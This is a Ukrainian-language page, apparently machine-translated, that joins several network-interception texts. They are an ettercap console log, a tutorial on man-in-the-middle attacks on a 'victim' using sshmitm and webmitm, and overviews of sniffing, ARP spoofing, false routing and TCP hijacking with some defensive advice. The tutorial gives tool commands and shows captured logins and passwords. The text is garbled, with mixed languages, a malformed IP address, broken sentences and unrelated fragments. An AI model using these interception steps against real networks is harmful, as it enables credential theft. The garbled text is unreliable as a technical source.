Root@HackWare:~# ettercap -TQP search_promisc ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team Опубліковано: eth0 -> 08:00:27:AF:30:B9 192.165.5.5.2.5.2.5.2. 27ff:feaf:30b9/64 SSL dissection потребує valid "redir_command_on" script в etter.conf file Ettercap не працює коректно. /proc/sys/net/ipv6/conf/eth0/use_tempaddr is not set to 0. Privileges dropped to EUID 65534 EGID 65534... : no scripts були specified, no starting up! Randomizing 255 hosts для scanning... Scanning whole netmask for 255 hosts... * |============================== ====================>| 100.00 % 5 hosts added to the hosts list... Здійснення unified sniffing... Text only interface activated... Hit "h" для help Activating search_promisc plugin... search_promisc: Searching promisc NICs... Less probably sniffing NICs : - 192.168.1.36 - 192.168.1.34 Most probably sniffing NICs: - NONE Closing text interface... Terminating ettercap... Lua cleanup complete! Unified sniffing був stopped.

7.9 sslstrip

Під час виконання SSL mitm атаки, ettercap заміняє реальний сертифікат ssl на свій власний. Фальшивий сертифікат створюється на льоту і всі поля заповнені відповідно до представленого сервера реального сертифіката.

  • (62%)
  • (56.5%)
  • (RANDOM – 0.2%)
  • У цій статті ми розглянемо з тобою атаки типу Man-in-the-Middle, а точніше метод
    перенапрямки SSH- та HTTP-трафіку за допомогою атаки Man in the Middle. Не тягтимемо кота за хвіст, а перейдемо до діла.

    Man in the Middle (у кратці MitM, з російської просто - "атака посередника" чи "людина
    посередині") - це такий вид атаки, заснований на перенаправленні трафіку між двома машинами для перехоплення інформації - подальшого її вивчення, знищення або модифікації. Отже, перше, що нам потрібно - пакет dsniff (посилання на пакет ти побачиш наприкінці статті). саме він?Так тому, що цей пакет має всі необхідні утиліти, включаючи sshmitm (перенаправлення SSH-трафіку) і httpmitm (перенаправлення HTTP-трафіку), які вміють обходити наступну схему безпеки: наскільки тобі відомо, протоколи з шифруванням даних досить -таки "секурни" (шифрація на допомогу:)) і не дозволяють проводити атаки "поверх" мережевого рівня. Ключ шифрування хакеру невідомий - дані розшифрувати неможливо і вставити команду теж. Все б начебто нічого, та ось як
    Якщо ж програми MitM-атак (sshmitm і httpmitm) з пакету dsniff здатні обійти цю системубезпеки (обійти можна практично всі). Робиться це все за таким принципом:
    проміжний хост отримує запит від клієнта, сказавши йому, що він і є сервер, потім підключаючись до реального сервера.
    Друге, що нам знадобиться – прямі руки, четверте – найголовніше – бажання, ну і, звичайно, жертва, тобто комп'ютер, який атакуватимемо.

    Перенаправлення SSH-трафіку

    Після підготовки інструментарію ти зрозумів, що до чого і чому:). Діставай sshmitm - зараз ми перенаправлятимемо SSH-трафік (все, що не зрозумів з теоретичною частиною - читай вище)
    за допомогою неї, використовуючи недоліки сьогоднішнього PKI (public key infrastructure – схема управління ключами, заснована на
    методи несиметричної криптографії). Давай розглянемо синтаксис
    sshmitm:

    sshmitm [-d] [-I] [-p port] host

    D
    дозволити налагоджувальний висновок (тобто більш розширений режим)

    I
    перехоплення сеансів

    P port
    порт для прослуховування

    host
    адресу віддаленого хоста, сеанси якого перехоплюватимуться

    port
    порт на віддаленому хості

    Все начебто просто і зі смаком – нічого складного немає:). Почнемо реалізувати атаку!

    # sshmitm server.target.gov // вказуємо свій SSH-сервер
    sshmitm: relaying to server server.target.gov

    Оскільки ми не маємо реального SSH-ключа, то командний інтерпретатор атакованого
    виведе запит про перевірку host-ключа, все це виглядатиме приблизно так:

    clientmachine$ server.target.gov
    @ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @
    IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
    Дехто міг би їстипопадання на вас праворуч (man-in-the-middle attack)!
    Це також може бути, що RSA host key has just been changed.
    Please contact your system administrator.

    І тоді користувач вирішуватиме - підключатися чи ні. Якщо так, то ми отримаємо повний контроль над SSH-сеансом.
    АЛЕ! Якщо юзвер жодного разу не підключався до тієї тачки, може бути видане таке повідомлення:

    Насправді host "server.target.gov" може бути встановлений
    RSA key fingerprint is
    bla:bla:bla;bla;bla........
    Are you sure you want ti continue connecting (yes/no)?

    Тут юзвер теж має два вибори - коннектитися чи ні. Якщо так - то ми перехопили сеанс, якщо ні - на жаль... :(.
    Загалом атака пройшла успішно, якщо користувач приконнектився, а sshmitm у свою чергу запише всі паси і логіни, причому дуже читабельно 🙂
    Звичайно, це не єдиний перехоплювач SSH-сеансів, але познайомившись із цим, ти без проблем освоїш і інший 🙂

    Перенаправлення HTTP-трафіку

    Зараз ми перенаправлятимемо HTTP-трафік. Знову ж таки, нам знадобиться вже раніше підібраний інструмент: httpmitm, який прослуховує 80-(HTTP-) і 443-(HTTPS-) порти, перехоплює WEB-запити, потім підключається до сервера і пересилає запити комп'ютеру-клієнту. Також програма генерує SSL-ключі та SSL-сертифікати за допомогою OpenSSL. Потім, після спроби
    приєднається до сайту (target.gov), браузер перевірить SSL-сертифікат. Оскільки сертифікати збігатися не будуть, то браузер користувача попередить про
    неправильний SSL-сертифікат. З боку зломщика це виглядатиме приблизно так:

    #webmitm -d
    webmitm: relaying transparently
    webmitm: new connection from
    GET [посилання]/uzerz.php?user=hellknights&password=neskaju1qwerty HTTP/[версія]
    Connection: [тип]
    Host: www.target.gov
    User-Agent: [інформація про систему, браузер]
    [ітд, ітд, ітд]
    Cookie: [кукіси]

    Ось так все це виглядає збоку -
    перехоплюється SSL-коннект, схопивши незашифровані дані.

    Висновок

    У цій статті ми розглянули з тобою перенаправлення SSH- та HTTP-трафіку, за допомогою атаки Man in the Middle – чітко, докладно, коротко. Інші програми перенаправлення HTTP- та SSH-
    трафіку за допомогою MitM ти освоїш швидко, якщо освоїв і ці:)). Якщо щось було незрозуміло - то.

    Перехопленням даних по мережі вважається отримання будь-якої інформації з віддаленого комп'ютерного пристрою. Вона може складатися з особистих відомостей користувача, його повідомлень, записів про відвідування веб-сайтів. Захоплення даних може здійснюватися програмами-шпигунами або за допомогою мережевих сніферів.

    Шпигунські програми являють собою спеціальне програмне забезпечення, здатне записувати всю інформацію, що передається по мережі, з конкретної робочої станції або пристрою.

    Сніффер називають програму або комп'ютерну техніку, що перехоплює та аналізує трафік, який проходить через мережу. Сніффер дозволяє підключатися до веб-сесії та здійснювати різні операції від імені власника комп'ютера.

    Якщо дані передаються не в режимі реального часу, шпигунські програмиформують звіти, за якими зручно дивитися та аналізувати інформацію.

    Перехоплення через мережу може організовуватися на законних підставах або виконуватися протизаконно. Головним документом, який фіксує законність заволодіння інформацією, є Конвенція про кіберзлочинність. Вона створена в Угорщині у 2001 році. Правові вимоги різних країн можуть дещо відрізнятися, але ключовий зміст однаковий всім країн.

    Класифікація та способи перехоплення даних через мережу

    Відповідно до вище перехоплення інформації по мережі можна розділити на два види: санкціонований і несанкціонований.

    Санкціоноване захоплення даних здійснюється з різною метою, починаючи від захисту корпоративної інформації та закінчуючи забезпеченням безпеки держави. Підстави для виконання такої операції визначаються законодавством, спеціальними службами, правоохоронцями, фахівцями адміністративних організаційта служб безпеки компаній.

    Існують міжнародні стандарти виконання перехоплення даних. Європейський інститут телекомунікаційних стандартів зумів привести до єдиної норми ряд технічних процесів, на яких базується перехоплення інформації. В результаті було розроблено системну архітектуру, яка допомагає фахівцям секретних служб, мережевим адміністраторам законно заволодіти даними з мережі. Розроблена структура реалізації перехоплення даних через мережу застосовується для провідних та бездротових системвиклику голосом, а також до листування поштою, передачі голосових повідомлень по IP, обміну інформацією по SMS.

    Несанкціонований перехоплення даних через мережу здійснюється зловмисниками, які бажають заволодіти конфіденційними даними, паролями, корпоративними таємницями, адресами комп'ютерних машин мережі тощо. Для реалізації своїх цілей хакери зазвичай використовують мережевий аналізатор трафіку – сніффер. Ця програмаабо пристрій апаратно-програмного типу дає шахраю можливість перехоплювати та аналізувати інформацію всередині мережі, до якої підключений користувач-жертва, включаючи зашифрований SSL-трафік через заміну сертифікатів. Даними з трафіку можна оволодіти різними способами:

    • прослуховування інтерфейсу мережі,
    • підключенням пристрою перехоплення у розрив каналу,
    • створенням гілки трафіку та її дублюванням на сніффер,
    • шляхом проведення атаки.

    Існують і складніші технології перехоплення важливих відомостей, що дозволяють вторгатися в мережеву взаємодію та змінювати дані. Одна з таких технологій – це помилкові запити ARP. Суть способу полягає в заміні IP-адрес між комп'ютером жертви та пристроєм зловмисника. Ще один метод, за допомогою якого можна виконати перехоплення даних через мережу, - хибна маршрутизація. Він полягає в заміні IP-адреси маршрутизатора мережі своєю адресою. Якщо кіберзлочинець знає, як організована локальна мережа, в якій знаходиться жертва, він зможе легко організувати отримання інформації з машини користувача на свою IP-адресу. Захоплення TCP-з'єднання також служить дієвим способомперехоплення даних. Зловмисник перериває сеанс зв'язку шляхом генерації та відправки на комп'ютер жертви ТСР-пакетів. Далі сеанс зв'язку відновлюється, перехоплюється та продовжується злочинцем замість клієнта.

    Об'єкт впливу

    Об'єктами перехоплення даних у мережі можуть бути державні установи, промислові підприємства, комерційні структури, пересічні користувачі. Всередині організації або бізнес-компанії може реалізовуватись захоплення інформації з метою захисту інфраструктури мережі. Спецслужби та органи правопорядку можуть здійснювати масове перехоплення інформації, що передається від різних власників, залежно від поставленого завдання.

    Якщо говорити про кіберзлочинців, то об'єктом впливу з метою отримання даних, що передаються по мережі, може стати будь-який користувач або організація. При санкціонованому доступі важливою є інформативна частина отриманих відомостей, тоді як зловмисника більше цікавлять дані, за допомогою яких можна заволодіти. грошимаабо цінною інформацією для її подальшого продажу.

    Найчастіше жертвами перехоплення інформації з боку кіберзлочинців стають користувачі, які підключаються до громадської мережі, наприклад, у кафе з точкою доступу Wi-Fi. Зловмисник підключається до веб-сесії за допомогою сніфера, підміняє дані та здійснює крадіжку особистої інформації. Докладніше про те, як це відбувається, розповідається у статті.

    Джерело загрози

    Санкціонованим перехопленням відомостей у компаніях та організаціях займаються оператори інфраструктури мереж загального користування. Їхня діяльність спрямована на захист персональних даних, комерційних таємниць та ін. важливої ​​інформації. На законних підставах за передачею повідомлень та файлів можуть стежити спецслужби, правоохоронні органи та різні державні структури для забезпечення безпеки громадян та держави.

    Незаконним перехопленням даних займаються зловмисники. Щоб не стати жертвою кіберзлочинця, потрібно дотримуватися деяких рекомендацій фахівців. Наприклад, не слід виконувати операції, що вимагають авторизації та передачі важливих даних, у місцях, де підключення відбувається до загальнодоступних мереж. Безпечніше вибирати мережі з шифруванням, а ще краще – використовувати особисті 3G- та LTE-модеми. При передачі особисті дані рекомендують зашифрувати, використовуючи протокол HTTPS або особистий VPN-тунель.

    Захистити комп'ютер від перехоплення мережевого трафіку можна за допомогою криптографії, антисніферів; знизить ризики комутований, а не бездротовий доступ до мережі.


    У цьому уроці описані технології мережевого хакінгу, що базуються на перехопленні мережевих пакетів. Хакери використовують такі технології для прослуховування мережного трафіку з метою розкрадання цінної інформації, для організації перехоплення даних з метою атаки "людина посередині", для перехоплення TCP-з'єднань, що дозволяють, скажімо, підміняти дані, та виконання інших, не менш цікавих дій. На жаль, більша частина цих атак на практиці реалізована тільки для мереж Unix, для яких хакери можуть використовувати як спеціальні утиліти, і системні засоби Unix. Мережі Windows, мабуть, обійдені увагою хакерів, і ми змушені обмежитися при описі інструментів перехоплення даних програмами-сніферами, призначеними для тривіального прослуховування мережних пакетів. Тим не менш, не слід нехтувати хоча б теоретичним описом таких атак, особливо антихакерам, оскільки знання застосовуваних технологій хакінгу допоможе запобігти багато неприємностей.

    Мережевий сніфінг

    Для сніфінгу мереж Ethernet зазвичай використовуються мережеві карти, переведені в режим прослуховування. Прослуховування мережі Ethernetвимагає підключення комп'ютера із запущеною програмою-сніфером до сегменту мережі, після чого хакеру стає доступним весь мережевий трафік, що відправляється та одержується комп'ютерами в даному мережевому сегменті. Ще простіше здійснити перехоплення трафіку радіомереж, що використовують бездротові мережні посередники, - у цьому випадку не потрібно навіть шукати місце для підключення до кабелю. Або ж зловмисник може підключитися до телефонної лінії, що зв'язує комп'ютер із сервером Інтернету, знайшовши для цього зручне місце (телефонні лінії зазвичай прокладені в підвалах та інших місцях, що не відвідуються без будь-якого захисту).

    Для демонстрації технології сніфінгу ми застосуємо дуже популярну програму-сніфер SpyNet, яку можна знайти на багатьох веб-сайтах. Офіційний сайт програми SpyNet знаходиться за адресою http://members.xoom.com/layrentiu2/ , де можна завантажити демо-версію програми.

    Програма SpyNet складається з двох компонентів - CaptureNet та PipeNet. Програма CaptureNet дозволяє перехоплювати пакети, що передаються по мережі Ethernet на мережевому рівні, тобто. як кадрів Ethernet. Програма PipeNet дозволяє збирати кадри Ethernet у пакети рівня програм, відновлюючи, наприклад, повідомлення електронної пошти, повідомлення протоколу HTTP (обмін інформацією з Web-сервером) та виконувати інші функції.

    На жаль, у демо-версії SpyNet можливості PipeNet обмежені демонстраційним прикладом складання пакету HTTP, тому ми не зможемо продемонструвати роботу SpyNet у повному обсязі. Однак ми продемонструємо можливості мережевого сніфінгу SpyNet на прикладі нашої експериментальної мережі. текстовий файлз хоста Sword-2000 на хост Alex-З за допомогою звичайного провідника Windows. Одночасно на комп'ютері А1ех-1 ми запустимо програму CaptureNet, яка перехопить передані пакети та дозволить прочитати вміст переданого файлу у кадрах Ethernet. Рис. 1 представлений текст секретного повідомлення у файлі secret.txt; ми намагатимемося знайти цей текст у перехоплених кадрах Ethernet.

    Мал. 1. Текст секретного повідомлення у вікні Notepad

    Щоб перехопити кадри Ethernet, виконайте такі дії.

    На комп'ютері Alex-З запустіть програму CaptureNet. У робочому вікні програми виберіть команду меню Capture * Start (Захоплення * Запуск) і запустіть процес перехоплення мережевих кадрів.

    Засобами провідника Windows скопіюйте файл security.txt з комп'ютера Sword-2000 на А1ех-3.

    Після передачі файлу secret.txt виберіть команду меню Capture * Stop (Захоплення * Стоп) та зупиніть процес перехоплення.

    Перехоплені кадри Ethernet з'являться у правій частині робочого вікна програми CaptureNet (Мал. 2), причому кожен рядок у верхньому списку представляє кадр Ethernet, а під списком відображається вміст вибраного кадру.

    Мал. 2. Кадр Ethernet містить текст секретного повідомлення

    Переглянувши список перехоплених кадрів, ми легко знайдемо той із них, який містить переданий нами текст This is a very big secret (Це дуже великий секрет).

    Підкреслимо, що це найпростіший приклад, коли записувався весь перехоплений мережевий трафік. Програма CaptureNet дозволяє перехоплювати пакети, що пересилаються за певними протоколами та на певні порти хостів, вибирати повідомлення з певним вмістом та накопичувати перехоплені дані у файлі. Техніка виконання таких дій нескладна, і її можна освоїти за допомогою довідкової системи програми SpyNet.

    Крім примітивного прослуховування мережі, хакерам доступні витонченіші засоби перехоплення даних. Нижче наведено короткий огляд таких методів, щоправда, теоретично. Причина в тому, що для мереж Windows практична реалізація атак перехоплення даних вкрай обмежена, і набір надійних утиліт для атак перехоплення досить мізерний.

    Методи перехоплення мережевого трафіку

    Прослуховувач мережі за допомогою програм мережевих аналізаторів, подібних до наведеної вище CaptureNet, є першим, найпростішим способом перехоплення даних. Крім SpyNet для сніфінгу мереж використовується безліч інструментів, що спочатку розробляються для цілей аналізу мережної активності, діагностування мереж, відбору трафіку за вказаними критеріями та інших завдань адміністрування мережі. Як приклад такої програми можна назвати tcpdump (http://www.tcpdump.org), яка дозволяє записувати мережевий трафік у спеціальний журнал для подальшого аналізу.

    Для захисту від прослуховування мережі застосовуються спеціальні програми, наприклад AntiSniff (http://www.securitysoftwaretech.com/antisniff), які здатні виявляти в мережі комп'ютери, зайняті прослуховуванням мережного трафіку. Програми-антисніфери для вирішення своїх завдань використовують особливу ознаку наявності в мережі пристроїв, що прослуховують - мережна плата комп'ютера-сніфера повинна знаходитися в спеціальному режимі прослуховування. Перебуваючи в режимі прослуховування, мережеві комп'ютери особливим чином реагують на ІР-дейтаграми, що посилаються на адресу хоста, що тестується. Наприклад, хости, що прослуховують, як правило, обробляють весь трафік, що надходить, не обмежуючись тільки посланими на адресу хоста дейтаграмами. Є й інші ознаки, що вказують на підозрілу поведінку хоста, яка здатна розпізнати програму AntiSniff.

    Безсумнівно, прослуховування дуже корисне з погляду зловмисника, оскільки дозволяє отримати безліч корисної інформації - паролі, що передаються по мережі, адреси комп'ютерів мережі, конфіденційні дані, листи та інше. Однак просте прослуховування не дозволяє хакеру втручатися в мережеву взаємодію між двома хостами з метою модифікації та спотворення даних. Для вирішення такого завдання потрібна складніша технологія.

    Помилкові запити ARP

    Щоб перехопити і замкнути на себе процес мережевої взаємодії між двома хостами А і В зловмисник може підмінити IP-адреси хостів, що взаємодіють, своєю IP-адресою, направивши хостам А і В фальсифіковані повідомлення ARP (Address Resolution Protocol - Протокол дозволу адрес). З протоколом ARP можна познайомитись у Додатку D, де описано процедуру дозволу (перетворення) IP-адреси хоста на адресу машини (МАС-адреса), зашиту в мережеву плату хоста. Подивимося, як хакер може скористатися протоколом ARP до виконання перехоплення мережевої взаємодії між хостами А і У.

    Для перехоплення мережевого трафіку між хостами А та В хакер нав'язує цим хостам свою IP-адресу, щоб А та В використовували цю фальсифіковану IP-адресу при обміні повідомленнями. Для нав'язування своєї IP-адреси хакер виконує такі операції.

    Зловмисник визначає МАС-адреси хостів А та В, наприклад, за допомогою команди nbtstat з пакета W2RK.

    Зловмисник відправляє на виявлені МАС-адреси хостів А та В повідомлення, що є фальсифікованими ARP-відповідями на запити дозволу IP-адрес хостів у МАС-адреси комп'ютерів. Хосту А повідомляється, що IP-адресу хоста відповідає МАС-адресу комп'ютера зловмисника; хосту В повідомляється, що IP-адреса хоста А також відповідає МАС-адреса комп'ютера зловмисника.

    Хости А та В заносять отримані МАС-адреси у свої кеші ARP і далі використовують їх для надсилання повідомлень один одному. Оскільки IP-адреси А і В відповідає МАС-адреса комп'ютера зловмисника, хости А і В, нічого не підозрюючи, спілкуються через посередника, здатного робити з їхніми посланнями що завгодно.

    Для захисту від таких атак мережеві адміністратори повинні підтримувати базу даних з таблицею відповідності МАС-адрес та IP-адрес своїх мережевих комп'ютерів. Далі, за допомогою спеціального програмного забезпечення, наприклад, утиліти arpwatch (ftp://ftp.ee.lbl.gov/arpwatch-2.lab.tar.gz ) можна періодично обстежувати мережу та виявляти невідповідності.

    У мережах UNIX такого роду атаку помилковими запитами ARP можна реалізувати за допомогою системних утиліт відстеження та управління мережним трафіком, наприклад, arpredirect. На жаль, у мережах Windows 2000/XP такі надійні утиліти, мабуть, не реалізовані. Наприклад, на сайті NTsecurity (http://www.ntsecurity.nu) можна завантажити утиліту GrabitAII, представлену як засіб для перенаправлення трафіку між мережевими хостами. Однак елементарна перевірка працездатності утиліти GrabitAII показує, що до успіху в реалізації її функцій ще далеко.

    Хибна маршрутизація

    Щоб перехопити мережевий трафік, зловмисник може підмінити реальну IP-адресу мережевого маршрутизатора своєю IP-адресою, виконавши це, наприклад, за допомогою фальсифікованих ICMP-повідомлень Redirect. Отримане повідомлення Redirect хост А повинен, згідно з документом RFC-1122, сприйняти як відповідь на дейтаграму, надіслану іншому хосту, наприклад, В. Свої дії на повідомлення Redirect хост А визначає, виходячи з вмісту отриманого повідомлення Redirect, і якщо Redirect задати перенаправлення дейтаграм з А в В за новим маршрутом, саме це хост А і зробить.

    Для виконання помилкової маршрутизації зловмисник повинен знати деякі подробиці про організацію локальної мережі, в якій знаходиться хост А, зокрема, IP-адреса маршрутизатора, через яку відправляється трафік з хоста А в В. Знаючи це, зловмисник сформує IP-дейтаграму, в якій IP -адреса відправника визначена як IP-адреса маршрутизатора, а одержувачем вказано хост А. Також до дейтаграми включається повідомлення ICMP Redirect з полем адреси нового маршрутизатора, встановленим як IP-адреса комп'ютера зловмисника. Отримавши таке повідомлення, хост А надсилатиме всі повідомлення за IP-адресою комп'ютера зловмисника.

    Для захисту від такої атаки слід відключити (наприклад, за допомогою брандмауера) на хості А обробку повідомлень ICMP Redirect, а виявити IP-адресу комп'ютера зловмисника може команда tracert (Unix це команда tracerout). Ці утиліти здатні знайти маршрут, що з'явився в локальній мережі додатковий, непередбачений при інсталяції, якщо адміністратор мережі проявить пильність.

    Наведене вище приклади перехоплень (якими можливості зловмисників далеко не обмежуються) переконують у необхідності захисту даних, що передаються мережею, якщо даних міститься конфіденційна інформація. Єдиним методом захисту від перехоплень мережевого трафіку є використання програм, що реалізують криптографічні алгоритми та протоколи шифрування, і дозволяють запобігти розкриттю та заміні секретної інформації. Для вирішення таких завдань криптографія надає засоби для шифрування, підпису та перевірки автентичності повідомлень, що передаються за захищеними протоколами.

    Практичну реалізацію всіх описаних у Розділі 4 криптографічних методів захисту обміну інформацією надають мережі VPN (Virtual Private Network – Віртуальні приватні мережі). Короткий огляд принципів і методів криптографічного захисту можна знайти в Додатку Е, а наводиться докладний описзасобів криптографічного захисту, що надаються програмою PGP Desktop Security (http://www.pgp.com).

    Перехоплення TCP-з'єднання

    Найбільш витонченою атакою перехоплення мережевого трафіку слід вважати захоплення TCP-з'єднання (TCP hijacking), коли хакер шляхом генерації та відсилання на хост TCP-пакетів, що атакуються, перериває поточний сеанс зв'язку з хостом. Далі, користуючись можливостями протоколу TCP щодо відновлення перерваного TCP-з'єднання, хакер перехоплює перерваний сеанс зв'язку та продовжує його замість відключеного клієнта.

    Для виконання атак перехоплення TCP-з'єднання створено кілька ефективних утиліт, проте всі вони реалізовані для платформи Unix, і на веб-сайтах Web ці утиліти представлені лише у вигляді вихідних кодів. Таким чином, нам, як переконаним практикам у шляхетній справі хакінгу, від атак методом перехоплення TCP-з'єднання користі не багато. (Коханці розбиратися в чужому програмному коді можуть звернутися до сайту http://www.cri.cz/~kra/index.html, де можна завантажити вихідний кодвідомої утиліти перехоплення TCP-з'єднання Hunt від Павла Крауза (Pavel Krauz)).

    Незважаючи на відсутність практичних інструментів, ми не можемо обминути таку цікаву тему, як перехоплення TCP-з'єднань, і зупинимося на деяких аспектах таких атак. Деякі відомості про структуру TCP-пакета та порядок встановлення TCP-з'єднань наведено в Додатку D цієї книги, тут же основну увагу ми приділимо такому питанню - що саме дозволяє хакерам виконувати атаки перехоплення TCP-з'єднань? Розглянемо цю тему докладніше, спираючись, в основному, на обговорення та .

    Протокол TCP (Transmission Control Protocol - Протокол управління передачею) одна із базових протоколів транспортного рівня OSI, що дозволяє встановлювати логічні з'єднання по віртуальному каналу зв'язку. Цим каналом передаються та приймаються пакети з реєстрацією їх послідовності, здійснюється управління потоком пакетів, організовується повторна передача спотворених пакетів, а наприкінці сеансу канал зв'язку розривається. Протокол TCP є єдиним базовим протоколом із сімейства TCP/IP, що має просунуту систему ідентифікації повідомлень та з'єднання.

    Для ідентифікації TCP-пакета в TCP-заголовку існують два 32-розрядні ідентифікатори, які також відіграють роль лічильника пакетів, званих порядковим номером і номером підтвердження. Також нас буде цікавити ще одне поле TCP-пакету, яке називається керуючими бітами. Це поле розміром 6 біт включає наступні біти, що управляють (у порядку зліва направо):

    URG – прапор терміновості;

    АСК – прапор підтвердження;

    PSH – прапор переносу;

    RST – прапор переустановки з'єднання;

    SYN – прапор синхронізації;

    FIN – прапор завершення з'єднання.

    Розглянемо порядок створення TCP-з'єднання.

    1. Якщо хосту А необхідно створити TCP-з'єднання з хостом, то хост А посилає хосту В наступне повідомлення:

    А -> В: SYN, ISSa

    Це означає, що в повідомленні, що передається хостому А, встановлено прапорець SYN (Synchronize sequence number - Номер послідовності синхронізації), а в полі порядкового номера встановлено початкове 32-бітове значення ISSa (Initial Sequence Number - Початковий номер послідовності).

    2. У відповідь на отриманий від хоста А запит хост відповідає повідомленням, в якому встановлено біт SYN і встановлений біт АСК. У полі порядкового номера хост встановлює своє початкове значення лічильника - ISSb; поле номера підтвердження буде містити значення ISSa, отримане в першому пакеті від хоста А, збільшене на одиницю. Таким чином, хост відповідає таким повідомленням:

    -> A: SYN, АСК, ISSb, ACK(ISSa+1)

    3. Нарешті, хост А посилає повідомлення хосту У, у якому: встановлено біт АСК ; поле порядкового номера містить значення ISSa + 1; поле номера підтвердження містить ISSb + 1 . Після цього TCP-з'єднання між хостами А і вважається встановленим:

    А -> В: АСК, ISSa+1, ACK(ISSb+1)

    4. Тепер хост А може посилати пакети з даними на хост В тільки що створеному віртуальному TCP-каналу:

    А -> В: АСК, ISSa+1, ACK(ISSb+1); DATA

    Тут DATA означає дані.

    З розглянутого вище алгоритму створення TCP-з'єднання видно, що єдиними ідентифікаторами TCP-абонентів та TCP-з'єднання є два 32-бітові параметри порядкового номера та номери підтвердження - ISSa та ISSb . Отже, якщо хакеру вдасться дізнатися про поточні значення полів ISSa і ISSb, йому ніщо не завадить сформувати фальсифікований TCP-пакет. Це означає, що хакеру достатньо підібрати поточні значення параметрів ISSa та ISSb пакета TCP для даного TCP-з'єднання, надіслати пакет з будь-якого хоста Інтернету від імені клієнта даного TCP-підключення, і цей пакет буде сприйнятий як вірний!

    Небезпека такої заміни TCP-пакетів важлива і тому, що високорівневі протоколи FTP та TELNET реалізовані на базі протоколу TCP, і ідентифікація клієнтів FTP та TELNET-пакетів повністю базується на протоколі TCP.

    До того ж, оскільки протоколи FTP і TELNET не перевіряють IP-адреси відправників повідомлень, то після отримання фальсифікованого пакета сервери FTP або TELNET відправлять повідомлення у відповідь по вказаному в помилковому пакеті IP-адресу хакерського хоста. Після цього хакерський хост почне роботу з сервером FTP або TELNET зі своєї IP-адреси, але з правами користувача, що легально підключився, який, у свою чергу, втратить зв'язок з сервером через неузгодженість лічильників.

    Таким чином, для здійснення описаної вище атаки необхідною та достатньою умовою є знання двох поточних 32-бітових параметрів ISSa та ISSb , що ідентифікують TCP-з'єднання. Розглянемо можливі способиїх отримання. У випадку, коли хакерський хост підключений до мережевого сегменту, що атакується, завдання отримання значень ISSa і ISSb є тривіальною і вирішується шляхом аналізу мережевого трафіку. Отже, треба чітко розуміти, що протокол TCP дозволяє в принципі захистити з'єднання лише у разі неможливості перехоплення атакуючим повідомлень, що передаються по даному з'єднанню, тобто тільки у випадку, коли хакерський хост підключений до мережного сегмента, відмінного від сегмента абонента TCP-з'єднання.

    Тому найбільший інтерес для хакера представляють міжсегментні атаки, коли атакуючий та його ціль перебувають у різних сегментах мережі. У цьому випадку завдання отримання значень ISSa та ISSb не є тривіальним. Для вирішення цієї проблеми нині придумано лише два способи.

    Математичне передбачення початкового значення параметрів TCP-з'єднання екстраполяцією попередніх значень ISSa та ISSb.

    Використання вразливостей для ідентифікації абонентів TCP-з'єднання на rsh-серверах Unix.

    Перше завдання вирішується шляхом поглиблених досліджень реалізації протоколу TCP у різних операційні системиі нині має суто теоретичне значення. Друга проблема вирішується з використанням уразливостей системи Unixз ідентифікації довірених хостів. (Довіреним по відношенню до даного хосту А називається мережевий хост, користувач якого може підключитися до хоста А без аутентифікації за допомогою r-служби хоста А). Маніпулюючи параметрами TCP-пакетів, хакер може спробувати видати себе за довірений хост і перехопити TCP-з'єднання з хостом, що атакується.

    Все це дуже цікаво, але практичні результати такого роду досліджень ще не видно. Тому всім охочим заглибитись у цю тему радимо звернутися до книги, звідки, в основному, були взяті викладені вище відомості.

    Висновок

    Перехоплення мережевих даних є найбільш ефективним методом мережевого хакінгу, що дозволяє хакеру отримати практично всю інформацію, що циркулює по мережі. Найбільшого практичного розвитку отримали кошти сніфінгу, тобто. прослуховування мереж; проте не можна залишити без уваги і методи перехоплення мережевих даних, що виконуються за допомогою втручання в нормальне функціонування мережі з метою перенаправлення трафіку на хакерський хост, особливо методи перехоплення TCP-з'єднань. Однак на практиці останні згадані методи поки що не отримали достатнього розвитку і потребують вдосконалення.

    Антихакер повинен знати, що єдиним порятунком від перехоплення є їх шифрування, тобто. криптографічні засоби захисту. Посилаючи по мережі повідомлення, слід заздалегідь припускати, що кабельна система мережі абсолютно вразлива, і будь-який хакер, що підключився до мережі, зможе виловити з неї всі передані секретні повідомлення. Є дві технології вирішення цього завдання - створення мережі VPN та шифрування самих повідомлень. Всі ці завдання дуже просто вирішити за допомогою пакета програм PGP Desktop Security (її опис можна знайти, наприклад, у ).



    
    Top